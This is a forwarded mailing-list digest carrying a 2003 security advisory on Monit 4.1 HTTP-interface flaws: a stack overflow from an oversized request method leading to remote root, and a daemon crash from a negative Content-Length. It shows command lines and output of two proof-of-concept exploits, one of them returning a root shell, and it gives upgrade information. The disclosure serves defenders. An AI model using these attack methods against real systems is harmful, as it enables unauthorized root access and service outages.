[Please upgrade if you use Monit on any platform -- Raju]
This is an RFC 1153 digest.
(1 message)
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Message-ID: <[EMAIL PROTECTED]>
From: "S-Quadra Security Research" <[EMAIL PROTECTED]>
Sender: [EMAIL PROTECTED]
To: "full-disclosure" <[EMAIL PROTECTED]>,
"bugtraq" <[EMAIL PROTECTED]>
Subject: [Full-Disclosure] Monit 4.1 HTTP interface multiple security vulnerabilities
Date: Mon, 24 Nov 2003 16:20:19 +0300
S-Quadra Advisory #2003-11-24
Topic: Monit 4.1 HTTP interface Multiple Security Vulnerabilities
Severity: High
Vendor URL: http://www.tildeslash.com/monit/
Advisory URL: http://www.s-quadra.com/advisories/Adv-20031124.txt
Release date: 22 Nov 2003
1. DESCRIPTION
Monit (http://www.tildeslash.com/monit/) is a utility for managing and
monitoring, processes, files, directories and devices on a Unix system.
It conducts automatic maintenance and repair and can execute meaningful
causal actions in error situations.
Monit provides a HTTP(S) interface and you can use a browser to access
the monit server.
There exists several security vulnerabilites in Monit HTTP interface,
which could allow an attacker
in the worst case to gain root access to the system.
2. DETAILS
-- Vulnerability 1: Long http method stack overflow
By supplying an overly large http request method and attacker could
trigger a stack overflow condition which may lead to a remote root
compromise.
Below is a successfull run of 'xonya' Monit <= 4.1 remote root exploit
(PoC):
$./xonya -t 3 -p 2812 192.168.3.12
Selected platform 3 ...
Retaddr is 0xXXXXXXXX, nulladdr is 0xXXXXXXXX ...
Connected to 192.168.3.12:2812
Sending the request ...
Got a remote shell:
Linux 2.4.20 i686 unknown
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
exit
-- Vulnerability 2: Denial of Service via negative Content-Length field
By supplying a negative value in Content-Length header an attacker could
cause a xmalloc() failure and kill a Monit daemon.
Below is a successfull run of 'donit' Monit <= 4.1 remote Denial of
Service exploit (PoC):
$./donit -p 2812 192.168.3.12
Connecting to 192.168.3.12:2812 ...
Sending the request ...
Done.
$ nc -v 192.168.3.12 2812
lina.s-quadra.com [192.168.3.12] 2812 (?) : Connection refused
3. FIX INFORMATION
S-Quadra alerted Monit development team to this issue on 21th November 2003.
New version of Monit 4.1.1 is available at
http://www.tildeslash.com/monit/dist/monit-4.1.1.tar.gz which fixes the
reported security vulnerabilities.
4. CREDITS
Evgeny Legerov <[EMAIL PROTECTED]> is responsible for discovering
this issue.
5. ABOUT
S-Quadra offers services in computer security, penetration testing and
network assesment,
web application security, source code review and third party product
vulnerability assesment,
forensic support and reverse engineering.
Security is an art and our goal is to bring responsible and high quality
security
service to the IT market, customized to meet the unique needs of each
individual client.
S-Quadra, (pronounced es quadra), is not an acronym.
It's unique, creative and innovative - just like the security services
we bring to our clients.
S-Quadra Advisory #2003-11-24
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
------------------------------
End of this Digest
******************
--
Raj Mathur [EMAIL PROTECTED] http://kandalaya.org/
GPG: 78D4 FC67 367F 40E2 0DD5 0FEF C968 D0EF CC68 D17F
It is the mind that moves
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